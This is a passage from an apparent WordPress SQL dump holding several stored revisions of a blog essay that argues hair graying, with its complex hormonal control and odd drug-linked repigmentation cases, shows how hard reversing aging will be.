src=\"https://lh3.googleusercontent.com/FESxyHjLpZjlexOMw0Me42tXbvv0tPOuqtptuBygRlfjX1ZJdRgKB5e6aGfKLN8RHvt4mtqQsjP5edlbPyOu0x2JXIof-iDyeLjYmAGhNlbMKGGAuqwBzCERQz1U5ze4KLy0Ooyt\" alt=\"\"/><figcaption>Note that 50 ng NGF on day 6 has less melanin than 0 NGF on day 6.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>At this point, I hope you’re starting to get some sense of the complexity of all of this. People who claim that aging is “just” one thing or “just” another radically underestimate the complexity of how cycles are controlled in the body. These scientists above understand what NGF is for in terms of hair darkening, are able to grow unlimited hair follicles in culture, and can add as much or as little NGF as they want. They still don’t know how much NGF is appropriate for an individual hair follicle on the human head in order to keep a hair strand dark, or even if a lack or excess of NGF is a major cause of graying. This stuff’s really difficult!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The other major piece of knowledge that we have in our arsenal with regards to graying are reports of sudden reversals of graying. Unfortunately, despite their value, these cases are woefully underexplored. They mostly just exist in reports from random doctors. This is a pity, because there’s not really an equivalent for any other piece of aging: nobody randomly gets cured from Alzheimer’s or randomly gets their joint degeneration turned to normal. If there are any real-world consequences from this essay, I’d hope that an exploration of these cases is one of them, because they are fascinating.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some of the most reliable reports of spontaneous hair repigmentation come from immunosuppressants, including <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6031562/\">secukinumab</a>, an anti-interleukin-17 therapy; <a href=\"https://escholarship.org/uc/item/6fn0t1xz\">adalimumab</a>, an anti TNF-alpha therapy; and <a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1468-3083.2007.02524.x\">corticosteroids</a>. Interestingly, the darkened hair growth persisted for both the adalimumab and the corticosteroids at least 20 and 12 months after the cessation of therapy, respectively (there was no cessation of secukinumab). While this isn’t longer than the 3-5 years of the total life cycle of a hair follicle, it does suggest that there was some immune component to hair graying in the first place. Immune cells attacking and killing melanocytes might be a common cause of hair graying.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/qymFgmwV9GrHGMBnRn-f8eTKkcKcO5gt9G6eAn3Mqm638LBjD4hgpreWsNG4Opgeg0W8JQDmoHVr2v4j27YAk1dwKHyEoVlfF2gPS8pbbG_zu3M-DK67-NYD2mwVb_jG5urrp28q\" alt=\"\"/><figcaption>On the left, 1 month after starting secukinumab. On the right, 6 months after starting secukinumab.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/EvcCAD-PqZxfUhtRZ56fv74oHjjzxohntsbnJq85nETEblfi9L-GgtoU0gf7_ouhoekZQnM0cCyVnSSBo9kQVWQofAW_mu1T9voPa5-jkeQUS4lylwBHJy-3YgkvfNUgWpRKyweu\" alt=\"\"/><figcaption>On the left, 20 months after an 81 year old patient started corticosteroids. On the right, the same patient at 65 years old, sans corticsteroids.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>There are also other reliable reports from other cases, but they’re even harder to explain.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://sci-hubtw.hkvisa.net/10.1046/j.1365-2133.2002.04591.x\">Two patients with porphyria cutanea tarda experienced hair repigmentation concurrent with their other symptoms</a>. One patient had continued hair repigmentation 9 years after treatment of her porphyria cutanea tarda resolved, which means that the repigmentation lasted beyond a hair follicle cycle. Porphyria cutanea tarda is caused by a deficiency of an enzyme that participates in the creation of heme, and results in increased photosensitivity.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Porphyria cutanea tarda also results in (and is usually diagnosed by) <a href=\"https://pubmed.ncbi.nlm.nih.gov/3941293/\">an elevated level of ferritin</a>, a protein that stores iron. One can maybe imagine how excess iron could result in hair darkening, but it’s hard to imagine how that could then persist after the ferritin levels returned to normal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/W2Uk_CqYNzTbNktOwJCDrcYSOk6uCSfmdwkfqylOKfDAGefagVVH7sS1g84zpaRWBu4ddzCqBMAmcVkPX5HMI8L5UPms1bn0_eEkO-F5txXFH3DGH_y2MwKZb8z0gq20xOVaJm40\" alt=\"\"/><figcaption>On the left, the patient after being diagnosed with porphyria cutanea tarda. On the right, the patient several years before. </figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>There was also a report of <a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1365-4632.2011.05422.x\">erlotinib, a tyrosine kinase inhibitor, spontaneously causing hair repigmentation</a>, but only on the top of the head. Interestingly, this evidently occurred mid follicle cycle, as the root of the hair was dark, while the tip of the hair remained gray. Given that tyrosine is a promoter of melanogenesis, this might suggest that melanogenesis was suddenly turned on by an excess of tyrosine, but it’s difficult to know why that would only occur at the top of the head. It’s also interesting that, whatever the problem was with the melanocytes that caused graying in the first place, it could somehow be solved by an excess of tyrosine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/zORy8yJ3opM2AVcTtMx5-ojlAuDx9spLkQ5kHs0QY5zGBA3hQTF7-OQZcJ0_1baMfCZ2woyfGkRcto_KbAuIQNMmQOUnl0JSK6n1xry6qv4IKAefuw_mofs8dUVRwzeNUEa-hEZK\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The reverse happened with acitretin, where <a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1440-0960.2009.00542.x\">the crown of the head was gray but the occipital region turned black</a>. Acitretin is closely related to vitamin A, and used to treat psoriasis. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3237781/\">Vitamin A deficiency and excess can cause hair loss</a>, likely by interacting with the hair follicle stem cells and sebaceous glands. The effect on hair stem cells is suggestive, but, again, it’s really difficult to explain why this would only affect the occipital region.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/ur936_EsuehUveBj1oQ-En1w1Zp6L0P9K1DdJTRj3vY6rmSOS6HE4JDB6xEHyXWQH2QKDYW9K337F4mBRzMSmp0quZXnumwKznWExp15YIWnqCyA1z5f8ScZKTZrzGknFYyvcgmg\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Trying to summarize all of these cases as what can reverse hair graying is difficult. The most obvious answer is that hair graying must be caused by many factors, and what reverses one person’s hair graying might not reverse another. The challenge for researchers, then, would be to predict which people would be affected by which interventions, and then figure out which parts of the intervention are actually necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that brings us back to the biggest thing we don’t know: why any of this happens. We don’t know why melanocytes stop producing melanin or migrating down to the matrix. We don’t know why melanocytes die before melanocyte stem cells, or why this is so conserved across mammal species.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, because we don’t know why, we still are not remotely close to someone with gray hair being able to walk into a doctor’s office and walk out with black hair. In fact, we’re still not remotely close to being able to consistently reverse graying even in a mouse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our difficulties with these presage a difficulty with reversing aging as a whole. Aging is made up of a bunch of different systems: aging of the skin, the heart, the brain, the immune system. All of these systems age and get worse at their jobs, which is why so many diseases have aging as a risk factor. We can safely assume, too, that all of these systems are at least as complex as a hair follicle, with incredibly long lists of hormones that interact with each other in confusing ways.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, unlike with graying, aging scientists don’t have the luxury of just looking at each other’s heads, looking at case reports of sudden reversals, or even just being able to visually confirm whether a treatment worked. Testing whether an aging treatment worked in the heart or in the brain is a lot more complicated than that. So, there are a lot of hard slogs ahead, and I have no doubts that the same sorts of weird paradoxes that pop up in graying (e.g. melanocytes disappearing before stem cells) will pop up in general aging, too. They’ll just be harder to spot.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, to those scientists with millions of dollars who plan to cure aging within 10 years, I wish you best of luck. But, I urge you: as you work in your labs, please take a second to stop and look at the grayheads around you. Ask them for their wisdom. Then, as they’re replying, try to quickly quickly turn their hair black, and you’ll get a better sense of how ridiculously difficult a task is in front of you.</p>\n<!-- /wp:paragraph -->','Want to reverse aging? Try reversing graying, first.','','inherit','closed','closed','','244-revision-v1','','','2021-12-10 15:13:03','2021-12-10 15:13:03','',244,'https://trevorklee.com/?p=246',0,'revision','',0),
(247,1,'2021-12-10 15:23:53','2021-12-10 15:23:53','<!-- wp:paragraph -->\n<p> <em><a href=\"https://twitter.com/trevor_klee\">Follow me on Twitter</a> if you want to discuss this essay, my other essays, or anything else having to do with science and biotech. If you\'d like to get notified when I publish new essays, <a href=\"https://landing.mailerlite.com/webforms/landing/l5k3q3\">sign up for my mailing list</a>, which I literally only use to alert people when I publish new essays.</em> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A lot of money and effort has recently been poured into aging therapeutics. Altos Labs, for instance, has raised <a href=\"https://www.technologyreview.com/2021/09/04/1034364/altos-labs-silicon-valleys-jeff-bezos-milner-bet-living-forever/\">$270 million dollars</a> in the last year for pursuing “cellular longevity”, or making individual cells live longer (in the hopes that will make people live longer as well). Other aging startups are also exceedingly well-funded, like Loyal, which has raised <a href=\"https://www.longevity.technology/loyal-raises-27m-to-keep-mans-best-friend-around-longer/\">$27 million</a> to try to extend the lifespan of dogs before even making it to the clinic.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a lot of money, even for biotech. Most traditional biotech can make it to evidence of efficacy in humans for around $30 million total, and drug repurposing efforts (like <a href=\"http://highwaypharm.com\">my own</a>) can do so for $5-10 million.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The sheer amount of money (coming largely from the tech crowd) being thrown at aging has, understandably, resulted in a lot of hype. I got my news of Loyal’s <a href=\"https://techcrunch.com/2021/09/23/loyal-raises-27m-aims-to-give-dog-owners-more-time-with-their-pets/\">Series A from TechCrunch</a>, for instance, covered in the same tone as any buzzy new app’s Series A. TechCrunch, for the record, didn’t even mention the name Moderna until <a href=\"https://techcrunch.com/tag/moderna-therapeutics/\">Moderna was already in Phase 3 trials for its COVID vaccine</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think these anti-aging efforts are necessarily doomed to fail. I do think, however, that their public announcements and even their private assumptions massively underestimate the difficulty and complexity of reversing or stopping aging. Aging is biology, and biology, like reality, has <a href=\"http://johnsalvatier.org/blog/2017/reality-has-a-surprising-amount-of-detail\">a surprising amount of detail</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I try to discuss aging or reversing aging in general, though, I’m liable to get stuck in generalities, which makes it hard to drill down into the sort of details that matter. So, instead, I’d like to discuss in detail a very specific part of aging: graying. Only then, after we discuss graying, can we start to get a sense of the difficulty and complexity of aging research.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Graying is a too often overlooked part of aging in general, in my opinion. While it’s easy to ignore it because it’s not part of the aging process that bothers us (George Clooney has basically his entire career to thank for it), it’s actually an incredibly useful part of aging to study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, almost every mammal grays as it ages and almost every mammal that is gray is old. That means graying is an incredibly conserved part of aging, as close to a visible biological clock as one can get.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/38xKWrR8ZRf5h963BGbqK3XW7Gbekh77AKRCu8Df0GgmHDSJ2l8_o9NcbJZIQwMW0A6PwyH6AmRJMmoFgPW0GCV52lVMdRyRwmadb_nLWXbjIrAOkiupGS39Kl7s5MIX6BJsmTPU\" alt=\"\"/><figcaption>On the left is a baby tree kangaroo. On the right is a senior tree kangaroo. Note the graying around the eyes and muzzle of the senior. Then note how cute the baby is.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Second, as I’ll discuss more below, not only do we know how to induce graying, we’ve actually accidentally reversed it as well. This gives us vital clues as to what can control the process of graying, clues that we don’t have for aging in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Third, graying is highly visible and indisputable. Advances in the aging field or aging-related diseases fields are frequently disputed because metrics aren’t universally agreed upon. It’s difficult to tell if a mouse has been cured of Alzheimer’s when mice don’t get Alzheimer’s to begin with. Scientists are forced to resort to saying, “We did something to this mouse that looked like giving it Alzheimer’s, and then we did something else that looked like it put the mouse back to square 1”. This is not the case for an anti-graying intervention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, interventions that affect graying can be done without harming the overall health of the individual, which is helpful both from an ethical standpoint and a logistical one (i.e. we don’t have to continually get new lab animals). One could even imagine some dedicated researcher experimenting on himself to reverse his own graying. If he messes up and does the opposite, it’s not that big of a deal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not the first person to notice these advantages, of course. A lot of people have thought this way, and there’s a robust literature of people experimenting with graying and anti-graying techniques on hair in culture, in animals, and even in humans. All it takes is for a scientist with a pair of tweezers to say to their graying colleague “come here for a second” and they can get another experiment up and running, which is a far cry from how complicated it is to run an Alzheimer’s experiment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://c8.alamy.com/comp/T79J4B/new-method-of-depilation-crazy-funny-man-using-tweezers-to-remove-his-beard-guy-trying-to-rid-of-the-beard-close-up-portrait-T79J4B.jpg\" alt=\"new method of depilation, crazy funny man using tweezers to remove his  beard. guy trying to rid of the beard. close up portrait Stock Photo - Alamy\"/><figcaption>This is how graying experiments are run. No shirts allowed.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But that’s precisely my point. Despite these evident, huge advantages to studying graying, graying is still really difficult to understand and impossible to cure. For the rest of this essay, I’ll discuss what we know about graying, what we don’t know, and where the field is going from here. Then I’ll try to put it back in context with the rest of aging research, so we can get more context for how difficult aging research is.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, if you don’t feel like reading too much more, I’ll give you the summary. The two big things we know about graying are most of <em>how</em> it happens and how it’s been accidentally reversed. The biggest things we don’t know about graying are <em>why</em> it happens and how we can intentionally reverse it. If you’d like to know more detail, read on. Also, I should mention that I’ve relied a lot on <a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/brv.12648\">this excellent review paper</a> for explaining more about the biology of graying.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyway, here’s what we know about how it happens.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s the normal cycle of a hair follicle. Over the period of several years, the hair grows out from a follicle, detaches, and then grows again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/Oo8X7k6Iq0hafiTS0Kdmx3HslLEq2U9nA5JUddP4jltwtrqqxb9aaWc9JzlhJzBN1WrzpOCSIK-ykP_rom0bhaeStxEz-2f_29jOX82_sQgpsW4MUoRLpwYROJBc_mnfdyjfxaGi\" alt=\"\"/><figcaption>from <a href=\"https://www.growgorgeous.co.uk/blog/the-hair-lab/how-does-hair-grow/\">GrowGorgeous</a>.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Hair gets its darkness from melanin, like skin. This is produced by melanocytes that surround the bottom of the hair shaft, which is known as the matrix, as seen below. The process of producing melanin occurs only during anagen, as does the process of producing more melanocytes from the melanocyte stem cells that surround the middle of the hair shaft, which is known as the bulge. During anagen, melanocytes migrate from the bulge to the matrix so they can start producing melanin. After anagen, the mature melanocytes in the matrix apoptose, or die.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/xjdwp6hfxRWBc15Pci_btxt0Y_mFaJL0-oal5bTxNhzeL7pMOuAUfRSpt1Y1XSu_PqYdcryRXnIrSilqUxPtrlLLNnajIFjYRNZVykAiZPNwy3twTYxzFNs7dIX-ENb7NMg9PZp0\" alt=\"\"/><figcaption>From, well, you already know. It\'s not my fault they had the diagram I was looking for.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Melanocytes and the lack thereof are key to the graying process. Gray hair follicles have fewer melanocytes at the start of anagen (and those melanocytes may be worse at producing melanin), while white hair follicles have almost no melanocytes or melanocyte stem cells.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The essential cause of graying seems to be, then, that melanocytes for some reason stop coming from the bulge to the matrix, or at least stop surviving and proliferating in the matrix. This results in a lack of melanin making its way to the hair shaft. After this happens, this is weirdly followed by the melanocyte stem cells also dying. Why this sequence of events occurs and not the reverse is one of the big mysteries of graying.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Part of the reason why it’s difficult to understand this sequence of events is that the normal cycle of melanocyte stem cells -&gt; melanocytes -&gt; melanin is much more complicated in life than it seems on paper. For one thing, it’s controlled by many, many hormonal regulators. Here’s a short list: ACTH, adrenocorticotropic hormone; α-MSH, alpha melanocyte-stimulating hormone; BMAL1, brain and muscle ARNT-like 1; CRH, corticotropin-releasing hormone; c-KIT, tyrosine protein kinase Kit; c-Met, tyrosine protein kinase Met; FGF, fibroblast growth factor; GR, glucocorticoid receptor; HGF, hepatocyte growth factor; HPA, hypothalamus–pituitary–adrenal axis; MC1R, melanocortin receptor; MITF, microphthalmia-associated transcription factor; NGF, nerve growth factor; PER1, period circadian regulator 1; POMC, proopiomelanocortin; SCF, stem cell factor; T3, triiodothyronine; T4, tetraiodothyronine; TRH, thyrotropin-releasing hormone; TrkA, tyrosine receptor kinase A; and TSC, tuberous sclerosis complex.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any one of these can affect the pigmentation process. For example, nerve growth factor (NGF) is, as you might expect, a growth factor. It promotes the growth and proliferation of melanocytes. It does so by agonizing TrkA. If you grow a hair follicle <em>in vitro</em> and add in NGF, <a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0221757\">you can make the hair shaft dark with melanin long after the control hair factor has gone gray</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Is that then a solution to hair graying? Well, no. First of all, completely removing a cell from all hormones is not what causes hair graying in people. NGF never goes away in people. If it did, we\'d be pretty screwed, because it’s used everywhere in the body (e.g. to promote nerve growth). Second of all, and more importantly, hormones are never quite so simple as more=better. While in this experiment 5 ng of NGF kept the hair shaft dark, 50 ng of NGF actually made the hair follicle lose pigmentation faster than the control.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/FESxyHjLpZjlexOMw0Me42tXbvv0tPOuqtptuBygRlfjX1ZJdRgKB5e6aGfKLN8RHvt4mtqQsjP5edlbPyOu0x2JXIof-iDyeLjYmAGhNlbMKGGAuqwBzCERQz1U5ze4KLy0Ooyt\" alt=\"\"/><figcaption>Note that 50 ng NGF on day 6 has less melanin than 0 NGF on day 6.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>At this point, I hope you’re starting to get some sense of the complexity of all of this. People who claim that aging is “just” one thing or “just” another radically underestimate the complexity of how cycles are controlled in the body. These scientists above understand what NGF is for in terms of hair darkening, are able to grow unlimited hair follicles in culture, and can add as much or as little NGF as they want. They still don’t know how much NGF is appropriate for an individual hair follicle on the human head in order to keep a hair strand dark, or even if a lack or excess of NGF is a major cause of graying. This stuff’s really difficult!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The other major piece of knowledge that we have in our arsenal with regards to graying are reports of sudden reversals of graying. Unfortunately, despite their value, these cases are woefully underexplored. They mostly just exist in reports from random doctors. This is a pity, because there’s not really an equivalent for any other piece of aging: nobody randomly gets cured from Alzheimer’s or randomly gets their joint degeneration turned to normal. If there are any real-world consequences from this essay, I’d hope that an exploration of these cases is one of them, because they are fascinating.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some of the most reliable reports of spontaneous hair repigmentation come from immunosuppressants, including <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6031562/\">secukinumab</a>, an anti-interleukin-17 therapy; <a href=\"https://escholarship.org/uc/item/6fn0t1xz\">adalimumab</a>, an anti TNF-alpha therapy; and <a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1468-3083.2007.02524.x\">corticosteroids</a>. Interestingly, the darkened hair growth persisted for both the adalimumab and the corticosteroids at least 20 and 12 months after the cessation of therapy, respectively (there was no cessation of secukinumab). While this isn’t longer than the 3-5 years of the total life cycle of a hair follicle, it does suggest that there was some immune component to hair graying in the first place. Immune cells attacking and killing melanocytes might be a common cause of hair graying.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/qymFgmwV9GrHGMBnRn-f8eTKkcKcO5gt9G6eAn3Mqm638LBjD4hgpreWsNG4Opgeg0W8JQDmoHVr2v4j27YAk1dwKHyEoVlfF2gPS8pbbG_zu3M-DK67-NYD2mwVb_jG5urrp28q\" alt=\"\"/><figcaption>On the left, 1 month after starting secukinumab. On the right, 6 months after starting secukinumab.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/EvcCAD-PqZxfUhtRZ56fv74oHjjzxohntsbnJq85nETEblfi9L-GgtoU0gf7_ouhoekZQnM0cCyVnSSBo9kQVWQofAW_mu1T9voPa5-jkeQUS4lylwBHJy-3YgkvfNUgWpRKyweu\" alt=\"\"/><figcaption>On the left, 20 months after an 81 year old patient started corticosteroids. On the right, the same patient at 65 years old, sans corticosteroids.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>There are also other reliable reports from other cases, but they’re even harder to explain.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://sci-hubtw.hkvisa.net/10.1046/j.1365-2133.2002.04591.x\">Two patients with porphyria cutanea tarda experienced hair repigmentation concurrent with their other symptoms</a>. One patient had continued hair repigmentation 9 years after treatment of her porphyria cutanea tarda resolved, which means that the repigmentation lasted beyond a hair follicle cycle. Porphyria cutanea tarda is caused by a deficiency of an enzyme that participates in the creation of heme, and results in increased photosensitivity.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Porphyria cutanea tarda also results in (and is usually diagnosed by) <a href=\"https://pubmed.ncbi.nlm.nih.gov/3941293/\">an elevated level of ferritin</a>, a protein that stores iron. One can maybe imagine how excess iron could result in hair darkening, but it’s hard to imagine how that could then persist after the ferritin levels returned to normal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/W2Uk_CqYNzTbNktOwJCDrcYSOk6uCSfmdwkfqylOKfDAGefagVVH7sS1g84zpaRWBu4ddzCqBMAmcVkPX5HMI8L5UPms1bn0_eEkO-F5txXFH3DGH_y2MwKZb8z0gq20xOVaJm40\" alt=\"\"/><figcaption>On the left, the patient after being diagnosed with porphyria cutanea tarda. On the right, the patient several years before. </figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>There was also a report of <a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1365-4632.2011.05422.x\">erlotinib, a tyrosine kinase inhibitor, spontaneously causing hair repigmentation</a>, but only on the top of the head. Interestingly, this evidently occurred mid follicle cycle, as the root of the hair was dark, while the tip of the hair remained gray. Given that tyrosine is a promoter of melanogenesis, this might suggest that melanogenesis was suddenly turned on by an excess of tyrosine, but it’s difficult to know why that would only occur at the top of the head. It’s also interesting that, whatever the problem was with the melanocytes that caused graying in the first place, it could somehow be solved by an excess of tyrosine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/zORy8yJ3opM2AVcTtMx5-ojlAuDx9spLkQ5kHs0QY5zGBA3hQTF7-OQZcJ0_1baMfCZ2woyfGkRcto_KbAuIQNMmQOUnl0JSK6n1xry6qv4IKAefuw_mofs8dUVRwzeNUEa-hEZK\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The reverse happened with acitretin, where <a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1440-0960.2009.00542.x\">the crown of the head was gray but the occipital region turned black</a>. Acitretin is closely related to vitamin A, and used to treat psoriasis. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3237781/\">Vitamin A deficiency and excess can cause hair loss</a>, likely by interacting with the hair follicle stem cells and sebaceous glands. The effect on hair stem cells is suggestive, but, again, it’s really difficult to explain why this would only affect the occipital region.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/ur936_EsuehUveBj1oQ-En1w1Zp6L0P9K1DdJTRj3vY6rmSOS6HE4JDB6xEHyXWQH2QKDYW9K337F4mBRzMSmp0quZXnumwKznWExp15YIWnqCyA1z5f8ScZKTZrzGknFYyvcgmg\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Trying to summarize all of these cases as what can reverse hair graying is difficult. The most obvious answer is that hair graying must be caused by many factors, and what reverses one person’s hair graying might not reverse another. The challenge for researchers, then, would be to predict which people would be affected by which interventions, and then figure out which parts of the intervention are actually necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that brings us back to the biggest thing we don’t know: why any of this happens. We don’t know why melanocytes stop producing melanin or migrating down to the matrix. We don’t know why melanocytes die before melanocyte stem cells, or why this is so conserved across mammal species.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, because we don’t know why, we still are not remotely close to someone with gray hair being able to walk into a doctor’s office and walk out with black hair. In fact, we’re still not remotely close to being able to consistently reverse graying even in a mouse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our difficulties with these presage a difficulty with reversing aging as a whole. Aging is made up of a bunch of different systems: aging of the skin, the heart, the brain, the immune system. All of these systems age and get worse at their jobs, which is why so many diseases have aging as a risk factor. We can safely assume, too, that all of these systems are at least as complex as a hair follicle, with incredibly long lists of hormones that interact with each other in confusing ways.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, unlike with graying, aging scientists don’t have the luxury of just looking at each other’s heads, looking at case reports of sudden reversals, or even just being able to visually confirm whether a treatment worked. Testing whether an aging treatment worked in the heart or in the brain is a lot more complicated than that. So, there are a lot of hard slogs ahead, and I have no doubts that the same sorts of weird paradoxes that pop up in graying (e.g. melanocytes disappearing before stem cells) will pop up in general aging, too. They’ll just be harder to spot.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, to those scientists with millions of dollars who plan to cure aging within 10 years, I wish you best of luck. But, I urge you: as you work in your labs, please take a second to stop and look at the grayheads around you. Ask them for their wisdom. Then, as they’re replying, try to quickly quickly turn their hair black, and you’ll get a better sense of how ridiculously difficult a task is in front of you.</p>\n<!-- /wp:paragraph -->','Want to reverse aging? Try reversing graying, first.','','inherit','closed','closed','','244-revision-v1','','','2021-12-10 15:23:53','2021-12-10 15:23:53','',244,'https://trevorklee.com/?p=247',0,'revision','',0);
INSERT INTO `wp4v_posts` VALUES
(248,1,'2021-12-10 18:25:44','2021-12-10 18:25:44','<!-- wp:paragraph -->\n<p> <em><a href=\"https://twitter.com/trevor_klee\">Follow me on Twitter</a> if you want to discuss this essay, my other essays, or anything else having to do with science and biotech. If you\'d like to get notified when I publish new essays, <a href=\"https://landing.mailerlite.com/webforms/landing/l5k3q3\">sign up for my mailing list</a>, which I literally only use to alert people when I publish new essays.</em> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A lot of money and effort has recently been poured into aging therapeutics. Altos Labs, for instance, has raised <a href=\"https://www.technologyreview.com/2021/09/04/1034364/altos-labs-silicon-valleys-jeff-bezos-milner-bet-living-forever/\">$270 million dollars</a> in the last year for pursuing “cellular longevity”, or making individual cells live longer (in the hopes that will make people live longer as well). Other aging startups are also exceedingly well-funded, like Loyal, which has raised <a href=\"https://www.longevity.technology/loyal-raises-27m-to-keep-mans-best-friend-around-longer/\">$27 million</a> to try to extend the lifespan of dogs before even making it to the clinic.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a lot of money, even for biotech. Most traditional biotech can make it to evidence of efficacy in humans for around $30 million total, and drug repurposing efforts (like <a href=\"http://highwaypharm.com\">my own</a>) can do so for $5-10 million.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph 